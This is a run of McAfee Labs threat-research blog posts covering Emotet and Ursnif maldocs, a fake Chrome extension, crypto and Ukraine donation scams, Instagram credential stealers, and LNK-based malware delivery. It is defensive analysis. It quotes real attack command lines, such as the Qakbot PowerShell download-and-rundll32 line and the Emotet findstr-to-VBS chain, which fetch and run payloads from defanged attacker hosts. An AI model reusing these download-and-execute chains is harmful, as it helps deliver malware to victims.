Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.

On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.

Below are the commands used in Hexadecimal and Octal variants of the Maldocs

Execution

On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.

The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code

The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:\Users\Public\Documents\ssd.dll”.

The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server

IOC

MITRE ATT&CK

Conclusion

Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.

The post Emotet’s Uncommon Approach of Masking IP Addresses appeared first on McAfee Blog.

Authored by Oliver Devane and Vallabh Chole  

Notifications on Chrome and Edge, both desktop browsers, are commonplace, and malicious actors are increasingly abusing this feature. McAfee previously blogged about how to change desktop browser settings to stop malicious notifications. This blog focuses on Chrome notifications on Android mobile devices such as phones and tablets, and how McAfee Mobile Security protects users from malicious sites leveraging these notifications.  

Where do these notifications come from? 

Most users are unaware of the source of these notifications. Permission is granted when a user clicks ‘Allow’ on a prompt within Android Chrome. 

Many malicious websites use language and images like the one above that entice the user to click ‘Allow’ such as ‘Just one more step! Click “Allow” to continue. Once allow is clicked, the website is added to a site permissions list, which will enable it to send notifications.  

What do they look like? 

The notifications will look like a usual Android notification which you will be used to seeing such as you have a new WhatsApp message or email. To identify the source of the notification, we need to look for the application name which is like the one highlighted in the red box below.  

The image above shows the notification came from Chrome and it is from the website premiumbros[.]com. This is something you should pay attention to as it will be needed when you want to stop annoying notifications.  

Why are some of them malicious? 

Some notifications like the ones in this blog are malicious as they attempt to trick users into believing that their mobile device is infected with a virus and some action is required. When the users click the notification, Chrome will load a website which will present them with a fake warning like the example below: 

Clicking either Cancel or Update Now on the above website will result in the same behavior. The browser will redirect the user to a google play store app so that they can download and install it.  

The malicious websites will flood your phone with several notifications. The screenshot below shows an example of this: 

Why do malicious actors do this? 

You may ask yourself, why do malicious actors try to get me to install a google play application? The people behind these scams receive a commission when these applications are installed on devices. They rely on deceptive tactics to trick users into installing them to maximize profits. 

How can I remove notifications? 

To remove a website’s notification permission, you need to change a Chrome setting. 

1- Find out the name of the website which is sending these notifications. This can be done by looking at the notification and noting down the name of the website. If we use this blog as an example, it would be premiumbros[.]com

2- Open the Chrome browser app which can be found by performing the following search: 

3- Click the three … on the top right hand of the application 

4- Scroll down and click on settings 

5- Click on Notifications 

6- Scroll down until you find the website which you identified in step 1 

7- Pres the blue radio button so it turns grey 

8- Notifications will now be disabled for that website. If you want to block multiple websites, click the radio button for them as well.  

How does McAfee Protect me? 

McAfee customers who have McAfee Mobile Security are protected against these malicious websites as long as they enable the ‘Safe Browsing’ feature within the application.  

Upon trying to access a malicious website such as the one in the blog it will be blocked as shown in the image below: 

Please read this guide on enabling the Safe Browsing feature within the Mobile Security Application. 

The post Why Am I Getting All These Notifications on my Phone? appeared first on McAfee Blog.

Authored by Oliver Devane, Vallabh Chole, and Aayush Tyagi 

McAfee has recently observed several malicious Chrome Extensions which, once installed, will redirect users to phishing sites, insert Affiliate IDs and modify legitimate websites to exfiltrate personally identifiable information (PII) data. According to the Google Extension Chrome Store, the combined install base is 100,000 

McAfee Labs has observed these extensions are prevalent in USA, Europe and India as we can observe in the heatmap below. 

The perpetrator targets over 1,400 domains, where 100 of them belong to the top 10,000 Alexa ranking including hbomax.com, hotels.com and expedia.com.

One extension, ‘Netflix Party’, mimics the original Netflix Party extension, which allows groups of people to watch Netflix shows at the same time. However, this version monitors all the websites you visit and performs several malicious activities.  

The malicious actor behind the extensions has created several Twitter accounts and fake review websites to deceive users into trusting and installing the extensions. 

The victim will be tricked into installing the extension and their data will be stolen when browsing a gift card site.  

The details of each step are as follows: 

1. The perpetrator creates malicious extensions and adds them to the Chrome Extension Store. They create fake websites to review the extensions and fake Twitter accounts to publicize them.  
2. A victim may perform a web or Twitter search for Netflix Party, read the review and click on a link that will lead them to the Google Chrome Store.  
3. They click to install the Extension and accept the permissions. 
4. The victim will either perform a web search or directly navigate to the gift card website. The Extension will identify the website and redirect them to the phishing page. 
5. The victim will enter their gift card information on the phishing page. 
6. The gift card information is posted to the server to which the malicious actor has access. They can now use or sell the stolen data and the victim will lose their funds. 

Technical Analysis 

This section contains the technical analysis of the malicious chrome extension “bncibciebfeopcomdaknelhcohiidaoe“. 

Manifest.json 

The manifest.json file contains the permissions of the extension. The ‘unsafe-eval’ permission in the ‘content_security_policy’ and the allowed use of content.js on any website visited by the user is of particular concern 

Background.js 

When the extension is installed, the background.js script will be loaded. This file uses a simple obfuscation technique of putting all the code on one line which makes it difficult to read. This is easily cleaned up by using a code beautifier and the image below shows the obfuscated script on the first line and the cleaned-up code below the red arrow.  

This script accesses https://accessdashboard[.]live to download a script and store it as variable ‘code’ in Chrome’s local storage. This stored variable is then referenced in the content.js script, which is executed on every visited website.  

Content.js 

After beautification, we see the code will read the malicious script from the ‘code’ variable which was previously stored. 

‘Code’  

The malicious code has three main functions, redirection for phishing, modifying of cookies to add AffiliateIDs, and modifying of website code to add chat windows.  

Redirection for Phishing 

Redirection for phishing works by checking if the URL being accessed matches a list, and conditionally redirects to a malicious IP that hosts the phishing site.  

URLs monitored are: 

• https[:]//www.target.com/guest/gift-card-balance 
• https[:]//www.macys.com/account/giftcardbalance 
• https[:]//www.nike.com/orders/gift-card-lookup 
• https[:]//www.nordstrom.com/nordstrom-gift-cards 
• https[:]//www.sephora.com/beauty/giftcards 
• https[:]//www.sephoragiftcardbalance.com 
• https[:]//balance.amexgiftcard.com 
• https[:]//prepaidbalance.americanexpress.com/GPTHBIWeb/validateIPAction.do?clientkey=retail%20sales%20channel 
• https[:]//amexprepaidcard.com 
• [:]//secure4.store.apple.com/shop/giftcard/balance 

Upon navigating to one of the above sites, the user will be redirected to 164[.]90[.]144[.]88. An observant user would notice that the URL would have changed to an IP address, but some users may not. 

The image below shows the Apple Phishing site and the various phishing kits being hosted on this server. 

The phishing sites share similar codes. If a user enters their gift card information, the data will be posted to 52.8.106.52. A network capture of the post request is shown below: 

Modifying of cookies to add AffiliateIDs 

The second malicious function contains AIPStore which is a dictionary containing a list of URLs and their respective monetizing sites which provide affiliate IDs. This function works by loading new tabs which will result in cookies being set on the visited sites. The flow below describes how the extension will work. 

1. A user navigates to a retail website 
2. If the retail website is contained in the AIPStore keymap, the extension will load a new tab with a link to a monetizing site which sets the cookie with the affiliate ID. The new tab is then closed, and the cookie will persist.  
3. The user will be unaware that a cookie would have been set and they will continue to browse the website. 
4. Upon purchasing any goods, the Affiliate ID will be recognized by the site vendor and commission will be sent to the Affiliate ID owner which would be the Malicious Actor 

The left image below shows the original site with no affiliate cookie, the one on the right highlights the cookie that has been added by the extension. 

Chat Windows 

The final function checks a list of URLs being accessed and if they match, a JS script will be injected into the HTML code which will result in a chat window being displayed. The image below shows the injected script and the chat window. 

The chat window may be used by the malicious actor to request PII data, credit card, and product key information. 

Conclusion 

This threat is a good example of the lengths malicious actors will go to trick users into installing malware such as creating Twitter accounts and fake review websites.  

McAfee advises its customers to be cautious when installing Chrome Extensions and pay attention to the permissions that they are requesting.  

The permissions will be shown by Chrome before the installation of the Extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog 

McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.  

The Malicious code within the extension is detected as Phish-Extension. Please perform a ‘Full’ scan via the product. 

The post Imposter Netflix Chrome Extension Dupes 100k Users appeared first on McAfee Blog.

Authored by Vallabh Chole and Oliver Devane

Scammers are very quick at reacting to current events, so they can generate ill-gotten gains. It comes as no surprise that they exploited the current events in Ukraine, and when the Ukrainian Twitter account tweeted Bitcoin and Ethereum wallet addresses for donations we knew that scammers would use this as a lure for their victims.

This blog covers some of the malicious sites and emails McAfee has observed in the past few weeks.

Crypto wallet donation scams

A crypto donation scam occurs when perpetrators create phishing websites and emails that contain cryptocurrency wallets asking for donations. We have observed several new domains being created which perform this malicious activity, such as ukrainehelp[.]world and ukrainethereum[.]com.

Ukrainhelp[.]world

Below is a screenshot of Ukrainehelp[.]world, which is a phishing site asking for crypto donations for UNICEF. The website contains the BBC logo and several crypto wallet addresses.

While investigating this site, we observed that the Ethereum wallet used use was also associated with an older crypto scam site called eth-event20.com. The image below shows the current value of the crypto wallet which is worth $114,000. Interestingly this wallet transfers all its coins to 0xc95eb2aa75260781627e7171c679a490e2240070 which in turn transfers to 0x45fb09468b17d14d2b9952bc9dcb39ee7359e64d. The final wallet currently has 313 ETH which is worth over $850,000. This shows the large sums of money scammers can generate with phishing sites.

Ukrainethereum[.]com

Ukrainethereum[.]com is another crypto scam site, but what makes this one interesting is the features it contains to gain the victim’s confidence in trusting the website such as a fake chatbox and a fake donation verifier.

Fake Chat

The image above shows the chatbox on the left-hand side which displays several messages. At first glance, it would appear as if other users are on the website and talking, but when you reload the site it shows the same messages. This is due to the chat messages being displayed from a list that is used to populate the website with JavaScript code as shown on the right-hand side.  

Fake Donation Verifier 

The site contains a donation checker so the victim can see if their donation was received, as shown below. 

1. The first image on left shows the verification box for donation to check if it is completed or not 
2. Upon clicking ‘Check’ the victim is shown a message to say the donation was received.  
3. What occurs, is upon clicking ‘Check’ the JavaScript code changes the website code so that it displays the ‘Thanks!’ message, and no actual check is performed. 

Phishing Email 

The following image shows one of the examples of phish emails we have observed. 

The email is not addressed to anyone specifically as they are mass-mailed to multiple email addresses. The wallet IDs in the email are not associated with the official Ukraine Twitter and are owned by scammers. As you can see in the image above, they are similar as the first 3 characters are the same. This could lead to some users believing it is legitimate. Therefore, it’s important to check that the wallet address is identical.  

Credit Card Information Stealer 

This is the most common type of phishing website. The goal of these sites it entices the victim into entering their credit card and personally identifiable information (PII) data by making them believe that the site being visited is official. This section contains details on one such website we have found using Ukraine donations as a lure.  

Razonforukrain[.]com 

The image below shows the phishing site. The website was used to save the children’s NGO links and images, which made it appear more genuine. You can see that is it asking the victim to enter their credit card and billing information.  

Once the data is entered, and the victim clicks on ‘Donate’, the information will be submitted via the form and will be sent to scammers so they can then use or sell the information. 

We observed that a few days after the website was created, the scammers change the site code so that it became a Mcdonald’s phishing site targeting the Arab Emirates. This was a surprising change in tactics. 

The heatmap below shows the detections McAfee has observed around the world for the malicious sites mentioned in this blog. 

Conclusion 

How to identify a phishing email? 

• Look for the domain from where you received mail, attackers masquerade it. 
• Use McAfee Web Advisor as this prevents you from accessing malicious sites 
• If McAfee Web Advisor is not used, links can be manually checked at https://trustedsource.org/. 
• Perform a Web Search of any crypto wallet addresses. If the search returns no or a low number of hits it is likely fraudulent. 
• Check for poor grammar and suspicious logos  
• For more detailed advice please visit McAfee’s How to recognize and protect yourself from phishing page 

How to identify phishing websites? 

• Use McAfee Web Advisor as this prevents you from accessing malicious sites 
• Look at the URL of the website which you are visiting and make sure it is correct. Look for alterations such as logln-paypal.com instead of login.paypal.com 
• If you are unsure that the website is legitimate. Perform a Web search of the URL. You will find many results If they are genuine. If the search returns no or a low number of hits it is likely fraudulent 
• Hyperlinks and site addresses that do not match the sender – Hover your mouse over the hyperlink or call-to-action button in the email. Is the address shortened or is it different from what you would expect from the sender? It may be a spoofed address from the 
• Verify if the URL and Title of the page match. Such as the website, razonforukraine[.]com with a title reading “McDonald’s Delivery” 

For general cyber scam, education click here

McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor 

The post Scammers are Exploiting Ukraine Donations appeared first on McAfee Blog.

By Oliver Devane 

Update: In the past 24 hours (from time of publication)  McAfee has identified 15 more scam sites bringing the total to 26. The combined value of the wallets shared on these sites is over $1,300,000 which is an increase of roughly $1,000,000 since this blog was last published. This highlights the scale of this current scam campaign. The table within this blog has been updated to include the new sites and crypto-wallets.

McAfee has identified several Youtube channels which were live-streaming a modified version of a live stream called ‘The B Word’ where Elon Musk, Cathie Wood, and Jack Dorsey discuss various aspects of cryptocurrency.  

The modified live streams make the original video smaller and put a frame around it advertising malicious sites that it claims will double the amount of cryptocurrency you send them. As the topic of the video is on cryptocurrency it adds some legitimacy to the websites being advertised.  

The original video is shown below on the left and a modified one which includes a reference to a scam site is shown on the right.  

We identified several different streams occurring at a similar same time. The images of some are shown below: 

The YouTube streams advertised several sites which shared a similar theme. They claim to send cryptocurrency worth double the value which they’ve received. For example, if you send 1BTC you will receive 2BTC in return. One of the site‘s frequently asked questions (FAQ) is shown below: 

Here are some more examples of the scam sites we discovered: 

The sites attempt to trick the visitors into thinking that others are sending cryptocurrency to it by showing a table with recent transactions. This is fake and is generated by JavaScript which creates random crypto wallets and amounts and then adds these to the table. 

The wallets associated with the malicious sites have received a large number of transactions with a combined value of $280,000 as of 5 PM UTC on the 5th of May 2022 

Scammers have been using social media sites such as Twitter and Youtube to attempt to trick users into parting ways with their cryptocurrency for the past few years. McAfee urges its customers to be vigilant and if something sounds too good to be true then it is most likely not legitimate.  

Our customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor  

The post Crypto Scammers Exploit: Elon Musk Speaks on Cryptocurrency appeared first on McAfee Blog.

Authored by Jyothi Naveen and Kiran Raj

McAfee Labs have been observing a spike in phishing campaigns that utilize Microsoft office macro capabilities. These malicious documents reach victims via mass spam E-mail campaigns and generally invoke urgency, fear, or similar emotions, leading unsuspecting users to promptly open them. The purpose of these spam operations is to deliver malicious payloads to as many people as possible.

A recent spam campaign was using malicious word documents to download and execute the Ursnif trojan. Ursnif is a high-risk trojan designed to record various sensitive information. It typically archives this sensitive data and sends it back to a command-and-control server.

This blog describes how attackers use document properties and a few other techniques to download and execute the Ursnif trojan.

Threat Summary

• The initial attack vector is a phishing email with a Microsoft Word document attachment.
• Upon opening the document, VBA executes a malicious shellcode
• Shellcode downloads the remote payload, Ursnif, and invokes rundll32.exe to execute it.

Infection Chain

The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, Word downloads a DLL (Ursnif payload). The Ursnif payload is then executed using rundll32.exe

Word Analysis

Macros are disabled by default and the malware authors are aware of this and hence present an image to entice the victims into enabling them.

VBA Macro Analysis of Word Document

Analyzing the sample statically with ‘oleId’ and ‘olevba’ indicates the suspicious vectors..

The VBA Macro is compatible with x32 and x64 architectures and is highly obfuscated as seen in Figure-5

To get a better understanding of the functionality, we have de-obfuscated the contents in the 2 figures shown below.

An interesting characteristic of this sample is that some of the strings like CLSID, URL for downloading Ursnif, and environment variables names are stored in custom document properties in reverse. As shown in Figure-7, VBA function “ActiveDocument.CustomDocumentProperties()” is used to retrieve the properties and uses “StrReverse” to reverse the contents. 

We can see the document properties in Figure-8  

Payload Download and Execution: 

The malicious macro retrieves hidden shellcode from a custom property named “Company” using the “cdec” function that converts the shellcode from string to decimal/hex value and executes it. The shellcode is shown below. 

The shellcode is written to memory and the access protection is changed to PAGE_EXECUTE_READWRITE. 

After adding the shellcode in memory, the environment variable containing the malicious URL of Ursnif payload is created. This Environment variable will be later used by the shellcode. 

The shellcode is executed with the use of the SetTimer API. SetTimer creates a timer with the specified time-out value mentioned and notifies a function when the time is elapsed. The 4th parameter used to call SetTimer is the pointer to the shellcode in memory which will be invoked when the mentioned time is elapsed. 

The shellcode downloads the file from the URL stored in the environmental variable and stores it as ” y9C4A.tmp.dll ” and executes it with rundll32.exe. 

After successful execution of the shellcode, the environment variable is removed. 

IOC 

MITRE Attack Framework 

 Conclusion 

Macros are disabled by default in Microsoft Office applications, we suggest keeping it that way unless the document is received from a trusted source. The infection chain discussed in the blog is not limited to Word or Excel. Further threats may use other live-off-the-land tools to download its payloads.  

McAfee customers are protected against the malicious files and sites detailed in this blog with McAfee LiveSafe/Total Protection and McAfee Web Advisor. 

The post Phishing Campaigns featuring Ursnif Trojan on the Rise appeared first on McAfee Blog.

Authored by Dexter Shin 

McAfee’s Mobile Research Team introduced a new Android malware targeting Instagram users who want to increase their followers or likes in the last post. As we researched more about this threat, we found another malware type that uses different technical methods to steal user’s credentials. The target is users who are not satisfied with the default functions provided by Instagram. Various Instagram modification application already exists for those users on the Internet. The new malware we found pretends to be a popular mod app and steals Instagram credentials. 

Behavior analysis 

Instander is one of the famous Instagram modification applications available for Android devices to help Instagram users access extra helpful features. The mod app supports uploading high-quality images and downloading posted photos and videos. 

The initial screens of this malware and Instander are similar, as shown below. 

Figure 1. Instander legitimate app(Left) and Mmalware(Right) 

Next, this malware requests an account (username or email) and password. Finally, this malware displays an error message regardless of whether the login information is correct. 

Figure 2. Malware requests account and password 

The malware steals the user’s username and password in a very unique way. The main trick is to use the Firebase API. First, the user input value is combined with [email protected]. This value and static password(=kamalw20051) are then sent via the Firebase API, createUserWithEmailAndPassword. And next, the password process is the same. After receiving the user’s account and password input, this malware will request it twice. 

Since we cannot see the dashboard of the malware author, we tested it using the same API. As a result, we checked the user input value in plain text on the dashboard. 

According to the Firebase document, createUserWithEmailAndPassword API is to create a new user account associated with the specified email address and password. Because the first parameter is defined as email patterns, the malware author uses the above code to create email patterns regardless of user input values. 

It is an API for creating accounts in the Firebase so that the administrator can check the account name in the Firebase dashboard. The victim’s account and password have been requested as Firebase account name, so it should be seen as plain text without hashing or masking. 

Network traffic 

As an interesting point on the network traffic of the malware, this malware communicates with the Firebase server in Protobuf format in the network. The initial configuration of this Firebase API uses the JSON format. Although the Protobuf format is readable enough, it can be assumed that this malware author intentionally attempts to obfuscate the network traffic through the additional settings. Also, the domain used for data transfer(=www.googleapis.com) is managed by Google. Because it is a domain that is too common and not dangerous, many network filtering and firewall solutions do not detect it. 

Conclusion 

As mentioned, users should always be careful about installing 3rd party apps. Aside from the types of malware we’ve introduced so far, attackers are trying to steal users’ credentials in a variety of ways. Therefore, you should employ security software on your mobile devices and always keep up to date. 

Fortunately, McAfee Mobile Security is able to detect this as Android/InstaStealer and protect you from similar threats. For more information visit  McAfee Mobile Security 

Indicators of Compromise 

SHA256: 

• 238a040fc53ba1f27c77943be88167d23ed502495fd83f501004356efdc22a39 

The post Instagram credentials Stealer: Disguised as Mod App appeared first on McAfee Blog.

Authored by Dexter Shin 

Instagram has become a platform with over a billion monthly active users. Many of Instagram’s users are looking to increase their follower numbers, as this has become a symbol of a person’s popularity.  Instagram’s large user base has not gone unnoticed to cybercriminals. McAfee’s Mobile Research Team recently found new Android malware disguised in an app to increase Instagram followers. 

How can you increase your followers or likes? 

You can easily find apps on the internet that increase the number of Instagram followers. Some of these apps require both a user account and a password. Other types of apps only need the user to input their user account. But are these apps safe to use? 

Many YouTubers explain how to use these apps with tutorial videos. They log into the app with their own account and show that the number of followers is increasing. Among the many videos, the domain that appears repeatedly was identified. 

The way the domain introduces is very simple. 

1. Log in with user account and password. 
2. Check credentials via Instagram API. 
3. After logging in, the user can enjoy many features provided by the app. (free followers, free likes, unlimited comments, etc.) 
4. In the case of free followers, the user needs to input how many followers they want to gain.  

When you run the function, you can see that the number of followers increases every few seconds. 

How does this malware spread? 

Some Telegram channels are promoting YouTube videos with domain links to the malware. 

We have also observed a video from a famous YouTuber with over 190,000 subscribers promoting a malicious app. However, in the video, we found some concerning comments with people complaining that their credentials were being stolen. 

Behavior Analysis in Malware 

We analyzed the application that is being promoted by the domain. The hidden malware does not require many permissions and therefore does not appear to be harmful. When users launch the app, they can only see the below website via the Android Webview.  

After inspecting the app, we observe the initial code does not contain many features. After showing an advertisement, it will immediately show the malicious website. Malicious activities are performed at the website’s backend rather than within the Android app. 

The website says that your transactions are carried out using the Instagram API system with your username and password. It is secure because they use the user’s credentials via Instagram’s official server, not their remote server. 

Contrary to many people’s expectations, we received abnormal login attempts from Turkey a few minutes after using the app. The device logged into the account was not an Instagram server but a personal device model of Huawei as LON-L29. 

As shown above, they don’t use an Instagram API. In addition, as you request followers, the number of the following also increases. In other words, the credentials you provided are used to increase the number of followers of other requesters. Everyone who uses this app has a relationship with each other. Moreover, they will store and use your credentials in their database without your acknowledgement. 

How many users are affected? 

The languages of most communication channels were English, Portuguese, and Hindi. Especially, Hindi was the most common, and most videos had more than 100 views. In the case of a famous YouTuber’s video, they have recorded more than 2,400 views. In addition, our test account had 400 followers in one day. It means that at least 400 users have sent credentials to the malware author. 

Conclusion 

As we mentioned in the opening remarks, many Instagram users want to increase their followers and likes. Unfortunately, attackers are also aware of the desires of these users and use that to attack them. 

Therefore, users who want to install these apps should consider that their credentials may be leaked. In addition, there may be secondary attacks such as credential stuffing (=use of a stolen username and password pairs on another website). Aside from the above cases, there are many unanalyzed similar apps on the Internet. You shouldn’t use suspicious apps to get followers and likes. 

McAfee Mobile Security detects this threat as Android/InstaStealer and protects you from this malware. For more information, visit McAfee Mobile Security. 

Indicators of Compromise 

SHA256: 

• e292fe54dc15091723aba17abd9b73f647c2d24bba2a671160f02bdd8698ade2 

• 6f032baa1a6f002fe0d6cf9cecdf7723884c635046efe829bfdf6780472d3907 

Domains: 

• https[://]insfreefollower.com 

The post Instagram credentials Stealers: Free Followers or Free Likes appeared first on McAfee Blog.

Authored by Lakshya Mathur

An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, also many people have built “lnkbombs” tools specifically for malicious purposes.

During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.

In this blog, we will see how LNK files are being used to deliver malware such as Emotet, Qakbot, and IcedID.

Below is a screenshot of how these shortcut files look to a normal user.

LNK THREAT ANALYSIS & CAMPAIGNS

With Microsoft disabling office macros by default malware actors are now enhancing their lure techniques including exploiting LNK files to achieve their goals.

Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files.

We will go through three recent malware campaigns Emotet, IcedID, and Qakbot to see how dangerous these files can be.

EMOTET

Infection-Chain

Threat Analysis

In Figure 4 we can see the lure message and attached malicious LNK file.

The user is infected by manually accessing the attached LNK file. To dig a little deeper, we see the properties of the LNK file:

As seen in Figure 5 the target part reveals that LNK invokes the Windows Command Processor (cmd.exe). The target path as seen in the properties is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can that this advantage and pass on long arguments as they will be not visible in the properties.

In our case the argument is /v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%\YlScZcZKeP.vbs” & “%tmp%\YlScZcZKeP.vbs”

Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs

The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload.

The downloaded DLL is then finally executed using the REGSVR32.EXE utility which is similar behavior to the excel(.xls) based version of the emotet.

ICEDID

Infection-Chain

Threat Analysis

This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities target their victims.

Here, PowerShell LNK has a highly obfuscated parameter which can be seen in Figure 8 target part of the LNK properties

The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with argument hxxps://hectorcalle[.]com/093789.hta.

The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to Uri hxxps://hectorcalle[.]com/listbul.exe

The Uri downloads the IcedID installer 64-bit EXE payload under the %HOME% folder.

QAKBOT

Infection-Chain

Threat Analysis

This attack will show us how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads.

In Figure 10 the full target part argument is “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMP\test.dll;Start-Process rundll32.exe $env:TEMP\test.dll,jhbvygftr”

When this PowerShell LNK is invoked, it connects to hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png using the Invoke-WebRequest command and the download file is saved under the %temp% folder with the name test.dll

This is the main Qakbot DLL payload which is then executed using the rundll32 utility.

CONCLUSION

As we saw in the above three threat campaigns, it is understood that attackers abuse the windows shortcut LNK files and made them to be extremely dangerous to the common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen to be using PowerShell and CMD by which they can connect to malicious URLs to download malicious payloads.

We covered just three of the threat families here, but these files have been seen using other windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must give a thorough check while using LNK shortcut files. Consumers must keep their Operating system and Anti-Virus up to date. They should beware of phishing mail and clicking on malicious links and attachments.

IOC (Indicators of Compromise)

The post Rise of LNK (Shortcut files) Malware appeared first on McAfee Blog.